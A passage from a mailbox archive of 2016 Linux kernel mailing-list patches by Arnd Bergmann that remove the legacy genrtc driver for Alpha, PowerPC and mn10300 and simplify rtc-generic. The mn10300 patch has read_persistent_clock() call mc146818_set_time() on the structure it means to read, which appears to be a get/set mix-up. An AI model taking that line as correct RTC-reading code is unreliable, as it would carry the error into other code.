 wUWiSNvhzZxDdt7kMx5J7UxxejDU0T692F6gkf7eAju2G62yznwvC/vxD+SrnqCAgnG9pRg53
 br/mIvLazQi0BojMw6fnaD59pMYkb5CX8L44dYH+gHJndQU1gJ15p7QhgPEta/e1Qa5E853Ba
 uRO+lG70DyZeByOHNPLF0KmHJ7fhXp8BfwT7RTYYbQGKsFVswGarAnIv7fffj2XO1lLNdjCIM
 WNpxrOpcfl1tkSH/FO+PUJpdshjrLoN9In+kue9CqahGak6vsqExdZSBE0wcKBb1OF3G1aALT
 y7RRMLtkAKn6jAPySjjfDONyI9vjSHI2QP5zFpfd+zNelq7zk8aM28rZV1Nn5zOG8UDHheVcL
 xhGkFjRGQ0SaUtFs69BFHuaewkh+2C0mceaxoCuS0mAPSaH5CJ8RtjD2sWn3afICXHfSFSOMA
 9CGaVaTL4C0sbdDSBZnh4QGCXM75mnd24v7olxuBsVh9wodE3BZj2F9H0M/N+oj8D1+304Cd0
 v4QdUbT3yRwh5BRj66jof+anv2RyxMoiH5No7pOV/EaR0FVifTurZCUeu5OfHA++LKeQ=
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53875 gmane.linux.ports.alpha:3689 gmane.linux.kernel:2210027 gmane.linux.ports.parisc:26717 gmane.linux.ports.ppc64.devel:126520 gmane.linux.kernel.cross-arch:31801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53875>

All architectures using this driver are now converted to
provide their own operations, so this one can be turned
into a trivial stub driver relying on its platform data.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/rtc/rtc-generic.c | 35 +----------------------------------
 1 file changed, 1 insertion(+), 34 deletions(-)

diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index efcb9833cac8..1bf5d2347928 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,43 +9,10 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
-#if 0
-#include <asm/rtc.h>
-
-static int generic_get_time(struct device *dev, struct rtc_time *tm)
-{
-	unsigned int ret = get_rtc_time(tm);
-
-	if (ret & RTC_BATT_BAD)
-		return -EOPNOTSUPP;
-
-	return rtc_valid_tm(tm);
-}
-
-static int generic_set_time(struct device *dev, struct rtc_time *tm)
-{
-	if (set_rtc_time(tm) < 0)
-		return -EOPNOTSUPP;
-
-	return 0;
-}
-
-static const struct rtc_class_ops generic_rtc_ops = {
-	.read_time = generic_get_time,
-	.set_time = generic_set_time,
-};
-#else
-#define generic_rtc_ops *(struct rtc_class_ops*)NULL
-#endif
-
 static int __init generic_rtc_probe(struct platform_device *dev)
 {
 	struct rtc_device *rtc;
-	const struct rtc_class_ops *ops;
-
-	ops = dev_get_platdata(&dev->dev);
-	if (!ops)
-		ops = &generic_rtc_ops;
+	const struct rtc_class_ops *ops = dev_get_platdata(&dev->dev);
 
 	rtc = devm_rtc_device_register(&dev->dev, "rtc-generic",
 					ops, THIS_MODULE);
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 05/16] char/genrtc: remove alpha support
Date: Thu, 28 Apr 2016 00:34:19 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <1461796470-1291527-6-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796863 27892 80.91.229.3 (27 Apr 2016 22:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:41:03 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 28 00:40:57 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avY8e-0006k4-P9
	for glk-linux-kernel-3@plane.gmane.org; Thu, 28 Apr 2016 00:40:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753943AbcD0Wks (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 27 Apr 2016 18:40:48 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.75]:64591 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750777AbcD0Wko (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 27 Apr 2016 18:40:44 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MTP9j-1b5kg23iqt-00SRgd; Thu, 28 Apr
 2016 00:34:50 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:5Xhm0uyLDMztmgDv4vSJ3XFkiAZV3dsnNylUjDski8dEf27pE0C
 o+W/4qhlACXl83v/RAVmDXBsRfVs7R3k9xjIO+0M0rc+3D7FaFObsJqdWcdFdjgqovvCKzG
 cFrQzvD6Gl+eOylSwl7EO60Ys1O+uvbOrI6aLgXqtU9LGfpuiEVR0vYG5wowQi2P5XUDZl1
 e1NY3JOL8OMPvOi/DPmXA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:7TrYiwxaXnI=:yk9Cz6dUv08Tl4kSB6Ppvd
 boW1xy7axCYuP2PVNYTjArIoHxzlspI70W5VZw1XREqT71oZTEBnk/ozdttjnhUtlCq7zshrf
 rwEQi3l2puxP+4MShnwzeM2C3beQc84BXmdljOfhTQB58g6dG85aXzwJoz9iXigd9M1hxZYQx
 rIXP0GjJh7764vQevnBcfhPqKkIxI50rX56lD2NbatoD3FYrqP8e9jwgxwiOGlYlmnOtcYIZW
 ApuooKlR7YmbwTKqAKwXrSY7J/lEkMaaYj4xQSrA+VgAwQfevJoxJfJUrbNJFqx+dI63dziKB
 LKTzp5GjJGKsNxx0gPUPLPmBFBTw1v+y4a5Ihrx2CRFhtVmv374gatSOOjn+kiiQmgOV4QLik
 aC/Sl3dFIVZq1bZLPdlUWNAxOds5eJL1QVOJxOiyCegL3SMI5JHH3jW71Kmm0PwzLyTTC2VuP
 Acxk161ki7Lr5ChtCBwoaBKqyTbqXZI5SRke4HnHc+FJ/MFmScsA8HUUQk2OqkAqXlbCEOdWT
 c4xOhiHK8PfzCw9lL6NdG2Q9nx5jq4+5x8/XsRKof2a8HyjoxAgJwKgL2qhWYw3Jn2AFGktux
 RqqkUT/OTZG4gQakEKfK2ye4XD6971gEBPVmg6xMd6FtpyEgGaSd8gkf6lE+24J5oudQqRVEc
 byhY0AsrK4MOnol8w5dK9JI2cG5zM0KTbVW0R1gqh/NyWvNCacMV1eklM5M5knMqY/J0=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2210028 gmane.linux.ports.alpha:3690 gmane.linux.ports.parisc:26718 gmane.linux.ports.ppc64.devel:126521 gmane.linux.ports.sh.devel:53876 gmane.linux.kernel.cross-arch:31802
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2210028>

The genrtc driver serves no purpose on Alpha because it drives the
same hardware as the original rtc.c driver, and the newer rtc-generic.c
or rtc-cmos.c drivers on architectures that use the asm-generic/rtc.h
header.

The defconfig uses CONFIG_RTC=y, so this driver is not used by default.
At one point it was used to abstract a quirk for the "Marvel" platform,
but it does not do this any more after the code was moved into yet
another driver in arch/alpha/kernel/rtc.c.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/alpha/include/asm/rtc.h    | 1 -
 arch/alpha/kernel/core_marvel.c | 1 -
 drivers/char/Kconfig            | 2 +-
 3 files changed, 1 insertion(+), 3 deletions(-)
 delete mode 100644 arch/alpha/include/asm/rtc.h

diff --git a/arch/alpha/include/asm/rtc.h b/arch/alpha/include/asm/rtc.h
deleted file mode 100644
index f71c3b0ed360..000000000000
--- a/arch/alpha/include/asm/rtc.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/rtc.h>
diff --git a/arch/alpha/kernel/core_marvel.c b/arch/alpha/kernel/core_marvel.c
index 53dd2f1a53aa..d5f0580746a5 100644
--- a/arch/alpha/kernel/core_marvel.c
+++ b/arch/alpha/kernel/core_marvel.c
@@ -24,7 +24,6 @@
 #include <asm/gct.h>
 #include <asm/pgalloc.h>
 #include <asm/tlbflush.h>
-#include <asm/rtc.h>
 #include <asm/vga.h>
 
 #include "proto.h"
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 9bdb629fbaae..697510325b1d 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on ALPHA || M68K || MN10300 || PARISC || PPC
+	depends on M68K || MN10300 || PARISC || PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0



From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 13/16] char/genrtc: remove powerpc support
Date: Thu, 28 Apr 2016 00:34:27 +0200
Lines: 173
Approved: news@gmane.org
Message-ID: <1461796470-1291527-14-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796865 27919 80.91.229.3 (27 Apr 2016 22:41:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:41:05 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Apr 28 00:40:59 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avY8f-0006k4-Ay
	for glpm-linux-m68k@plane.gmane.org; Thu, 28 Apr 2016 00:40:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753981AbcD0Wky (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 27 Apr 2016 18:40:54 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.75]:56811 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753788AbcD0Wkr (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 27 Apr 2016 18:40:47 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0M1GfI-1bok3q13eK-00tEWm; Thu, 28 Apr
 2016 00:34:54 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:YQ3v41WlZtCeAq48sh2EFTEdNw1MGsniNLoGu5hW5enKqULxD8P
 iDlYBvhJDuO6rGbWV62plNhxH8pvU5kLGDtE4ZZxXgLnD7+sv9O4B0DW8ZLD4rAXFzGet8P
 wOk1MIhHeiSeuhkcw6JcUMdls5piF50R2hO7mO0+xvN8Tmr8NYM7uSZrGYsu8t9sz21cRrG
 uYFWTBMG3D7e5uXCFcgcA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:LwmzO8iYIGE=:gwsQE21N5pENYjwOFh8Mzv
 Lzh/cFCHVkuC0k4Dasj31ZLxzZ+Pyl3sckxOWDItj4VSVMUirV1Wj+RLcT2SQCxTx3jHuK06T
 6BXplcqy86r2TeV+BaDtVYxBvRDBrjc2w1jAbURoOOeM2XFHuEHXalPxszZtBDCBjg7wahjSr
 NExB7ZW+UTasBGNWPiC/fvYEV3VVlGJFgavWUh8bTCjwIpwVqRikxGFcmGHtX4zgiRsarpOE4
 93mwydei1VyxA8bJOwjNagt7gGFjiWOgSIYNQgAPDUOJ6m+QiRraZMkG0vqUhTJceqNX43wz0
 ooh+hezyIGsVoo0dF56oymO4KWKsK5U1CFHftjGSksNlcEashvSJEn8aoqROPl0jJnGem31jz
 sONCh3Esw+6cIa/LpVOn24Lg1V8TAKi1PnzIRBhRHwKtOACtjKn9C5B5XTdNG3EG/civMWkPA
 bWpG8rUWJ2ESo+X2Nz/7l2soRGEf59Y0geBmCxJ/DvH3zEbNJW2KVIwebfY2/hdL5/CTEtacz
 Axa/piYGpENCLoq0c5ujiLm84QGQ9sHzkcMtLkw6s/KIzCRqSW69wzBqe7yOnUDVRVZBGWMoE
 bppVn+mYe/8yaCvkDuR07gp+k0LA4BfmOrMSL7MCJFBUH1uJIYqtLK+M//a71ZJhC/5pko4/6
 ESKMadhI7UVJ1dn8TQu41aYorxVpM8v5FjRwev1v8GaC2xROshraaY1mgn+31vEUxYSc=
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8567 gmane.linux.ports.alpha:3691 gmane.linux.kernel:2210029 gmane.linux.ports.parisc:26719 gmane.linux.ports.ppc64.devel:126522 gmane.linux.ports.sh.devel:53877 gmane.linux.kernel.cross-arch:31803
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8567>

PowerPC is the last architecture using the GEN_RTC driver on some
machines, but we can migrate them all to using the RTC_DRV_GENERIC
driver instead now.

This moves over the CONFIG_GEN_RTC option from drivers/char into
arch/powerpc/platforms/Kconfig and makes it just select the
replacement driver instead, for the only reason of not breaking
existing defconfig and .config files that users may have.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/powerpc/include/asm/rtc.h    | 78 ---------------------------------------
 arch/powerpc/platforms/Kconfig    | 11 ++++++
 arch/powerpc/platforms/ps3/time.c |  2 +-
 drivers/char/Kconfig              |  4 +-
 drivers/char/Makefile             |  2 +-
 5 files changed, 15 insertions(+), 82 deletions(-)
 delete mode 100644 arch/powerpc/include/asm/rtc.h

diff --git a/arch/powerpc/include/asm/rtc.h b/arch/powerpc/include/asm/rtc.h
deleted file mode 100644
index f5802926b6c0..000000000000
--- a/arch/powerpc/include/asm/rtc.h
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Real-time clock definitions and interfaces
- *
- * Author: Tom Rini <trini@mvista.com>
- *
- * 2002 (c) MontaVista, Software, Inc.  This file is licensed under
- * the terms of the GNU General Public License version 2.  This program
- * is licensed "as is" without any warranty of any kind, whether express
- * or implied.
- *
- * Based on:
- * include/asm-m68k/rtc.h
- *
- * Copyright Richard Zidlicky
- * implementation details for genrtc/q40rtc driver
- *
- * And the old drivers/macintosh/rtc.c which was heavily based on:
- * Linux/SPARC Real Time Clock Driver
- * Copyright (C) 1996 Thomas K. Dyas (tdyas@eden.rutgers.edu)
- *
- * With additional work by Paul Mackerras and Franz Sirl.
- */
-
-#ifndef __ASM_POWERPC_RTC_H__
-#define __ASM_POWERPC_RTC_H__
-
-#ifdef __KERNEL__
-
-#include <linux/rtc.h>
-
-#include <asm/machdep.h>
-#include <asm/time.h>
-
-#define RTC_PIE 0x40		/* periodic interrupt enable */
-#define RTC_AIE 0x20		/* alarm interrupt enable */
-#define RTC_UIE 0x10		/* update-finished interrupt enable */
-
-/* some dummy definitions */
-#define RTC_BATT_BAD 0x100	/* battery bad */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-static inline unsigned int get_rtc_time(struct rtc_time *time)
-{
-	if (ppc_md.get_rtc_time)
-		ppc_md.get_rtc_time(time);
-	return RTC_24H;
-}
-
-/* Set the current date and time in the real time clock. */
-static inline int set_rtc_time(struct rtc_time *time)
-{
-	if (ppc_md.set_rtc_time)
-		return ppc_md.set_rtc_time(time);
-	return -EINVAL;
-}
-
-static inline unsigned int get_rtc_ss(void)
-{
-	struct rtc_time h;
-
-	get_rtc_time(&h);
-	return h.tm_sec;
-}
-
-static inline int get_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-static inline int set_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-
-#endif /* __KERNEL__ */
-#endif /* __ASM_POWERPC_RTC_H__ */
diff --git a/arch/powerpc/platforms/Kconfig b/arch/powerpc/platforms/Kconfig
index 46a3533d3acb..657243ffb525 100644
--- a/arch/powerpc/platforms/Kconfig
+++ b/arch/powerpc/platforms/Kconfig
@@ -321,6 +321,17 @@ config OF_RTC
 	  Uses information from the OF or flattened device tree to instantiate
 	  platform devices for direct mapped RTC chips like the DS1742 or DS1743.
 
+config GEN_RTC
+	bool "Use the platform RTC operations from user space"
+	select RTC_CLASS
+	select RTC_DRV_GENERIC
+	help
+	  This option provides backwards compatibility with the old gen_rtc.ko
+	  module that was traditionally used for old PowerPC machines.
+	  Platforms should migrate to enabling the RTC_DRV_GENERIC by hand
+	  replacing changing their get_rtc_time/set_rtc_time callbacks with
+	  a proper RTC device driver.
+
 config SIMPLE_GPIO
 	bool "Support for simple, memory-mapped GPIO controllers"
 	depends on PPC
diff --git a/arch/powerpc/platforms/ps3/time.c b/arch/powerpc/platforms/ps3/time.c
index 791c6142c4a7..11b45b58c81b 100644
--- a/arch/powerpc/platforms/ps3/time.c
+++ b/arch/powerpc/platforms/ps3/time.c
@@ -20,9 +20,9 @@
 
 #include <linux/kernel.h>
 #include <linux/platform_device.h>
+#include <linux/rtc.h>
 
 #include <asm/firmware.h>
-#include <asm/rtc.h>
 #include <asm/lv1call.h>
 #include <asm/ps3.h>
 
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 26089feae9b0..a81f0eb9f71e 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -325,10 +325,10 @@ config JS_RTC
 	  To compile this driver as a module, choose M here: the
 	  module will be called js-rtc.
 
-config GEN_RTC
+config OLD_GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on PPC
+	depends on BROKEN
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
diff --git a/drivers/char/Makefile b/drivers/char/Makefile
index d8a7579300d2..fc0905aa7373 100644
--- a/drivers/char/Makefile
+++ b/drivers/char/Makefile
@@ -25,7 +25,7 @@ obj-$(CONFIG_APPLICOM)		+= applicom.o
 obj-$(CONFIG_SONYPI)		+= sonypi.o
 obj-$(CONFIG_RTC)		+= rtc.o
 obj-$(CONFIG_HPET)		+= hpet.o
-obj-$(CONFIG_GEN_RTC)		+= genrtc.o
+obj-$(CONFIG_OLD_GEN_RTC)	+= genrtc.o
 obj-$(CONFIG_EFI_RTC)		+= efirtc.o
 obj-$(CONFIG_DS1302)		+= ds1302.o
 obj-$(CONFIG_XILINX_HWICAP)	+= xilinx_hwicap/
-- 
2.7.0


From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 06/16] char/genrtc: remove mn10300 support
Date: Thu, 28 Apr 2016 00:34:20 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <1461796470-1291527-7-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796888 28201 80.91.229.3 (27 Apr 2016 22:41:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:41:28 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-sh-owner@vger.kernel.org Thu Apr 28 00:41:26 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1avY92-0006qs-08
	for glps-linuxsh-dev@plane.gmane.org; Thu, 28 Apr 2016 00:41:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753599AbcD0WlP (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 27 Apr 2016 18:41:15 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.73]:63699 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750777AbcD0Wkx (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Wed, 27 Apr 2016 18:40:53 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0M6ETS-1btfkG1nCs-00yATK; Thu, 28 Apr
 2016 00:34:50 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:HgqZYZpTezOakQAI7K5jhMcg2t50rak84IQeVjyNsyryOUqigp4
 qRAclMb08n/tnxuWPJbXapcyn/3CDxTMqicFvMsgxfA1AY/gZ13Xi72gXk3O3hgs8x+B+u0
 jtYgJ0vIrL57uVKSkiWt7y31B8T+KV1psGSar5EVAeIHOhhmbZ13tNBlaIKyLMC+L+6tjgK
 MqA+uBSlCN6hHvX+wXtnQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:iTr1ijSpHg4=:lR4KKIphuoUTLBHJszzgUk
 vpjoDCMEyaidgYXxerw60ZtvF+pLbAbtg3jb4SW7AXcqttuq/WXf97KT3RjZYUkzDepDS8gm2
 Hwl7a0IiVMWeKXX+f3Y7xVsRTd8tiNbV2e4YbBZRCX2IuCVz7iLIkRkYxWAe3TUdlH7y1aKgn
 3Juluyx49hausWCkHYHZAwUB7d3EwUiPg7WvZXfEyVDPO6EIEuAO2gBrOziKM2YQBWXvjqOC6
 VfSnr2xmp8r5ZfpqoF7ciAokuy1Lxnvg7mImzUECNjRcs8d+qaASoaw7mH1/jG1WIE4GIMHBO
 K4aMTCgoTUtzkujb295/7XEl3wGF0glnWq2i1e/cZYGZlYiC/A5VFHqCvVEXBonKNxw/l0KtB
 to0ejxyjU+m5frVRaaE1SmcImx3tKGJL3s86JJMM6caVap6yANahC2Q50j4DhI9HbjVFUk6WE
 mW48GUx63ylwTQHsrEulvyrn4qQhvb5elLp4AGgIMLWMKOktAg9Xa/gqX/vMa+HjFoRdepIz4
 8CHvRVAMMQRstfYfM2PdXVnxvPag8TZEZeyx3+RkXKgzbLvAp6uGB/lr4Otdqrs4yZCLAnr7p
 qdzOANdpNNaDcY2P8zE4AbaQ08CXm09gDj7tl6L0/qe+POnF+51ClP3YAEPU59+HPyW0FI4/z
 PMXYvkLIVVJiIp03E57h9mvMPXT61m4GWdv9Qko8dIzvzBY9RQ2U/1C0HYTgDXePGc3E=
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53878 gmane.linux.ports.alpha:3692 gmane.linux.kernel:2210030 gmane.linux.ports.parisc:26720 gmane.linux.ports.ppc64.devel:126523 gmane.linux.kernel.cross-arch:31804
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53878>

The genrtc driver serves no purpose on mn10300 because it drives the
same hardware as the original rtc.c driver, and the newer rtc-generic.c
or rtc-cmos.c drivers on architectures that use the asm-generic/rtc.h
header.

I assume it was initially only added for completeness when the
mn10300 port was done, but the older rtc.c driver was always used
instead.

We can also stop include asm-generic/rtc.h now, because we
just call mc146818_set_time() directly.

It would be nice to change the architecture to use the rtc-cmos driver
next, and remove support for the old rtc driver as well.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/mn10300/include/asm/rtc.h | 2 --
 arch/mn10300/kernel/rtc.c      | 2 +-
 drivers/char/Kconfig           | 2 +-
 3 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/arch/mn10300/include/asm/rtc.h b/arch/mn10300/include/asm/rtc.h
index 6c14bb1d0d9b..07dc87656197 100644
--- a/arch/mn10300/include/asm/rtc.h
+++ b/arch/mn10300/include/asm/rtc.h
@@ -25,6 +25,4 @@ static inline void calibrate_clock(void)
 
 #endif /* !CONFIG_MN10300_RTC */
 
-#include <asm-generic/rtc.h>
-
 #endif /* _ASM_RTC_H */
diff --git a/arch/mn10300/kernel/rtc.c b/arch/mn10300/kernel/rtc.c
index 48d7058b3295..77e0be4d92ea 100644
--- a/arch/mn10300/kernel/rtc.c
+++ b/arch/mn10300/kernel/rtc.c
@@ -27,7 +27,7 @@ void read_persistent_clock(struct timespec *ts)
 {
 	struct rtc_time tm;
 
-	get_rtc_time(&tm);
+	mc146818_set_time(&tm);
 
 	ts->tv_nsec = 0;
 	ts->tv_sec = mktime(tm.tm_year, tm.tm_mon, tm.tm_mday,
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 697510325b1d..d17ed90ebc82 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on M68K || MN10300 || PARISC || PPC
+	depends on M68K || PARISC || PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 00/16] genrtc removal
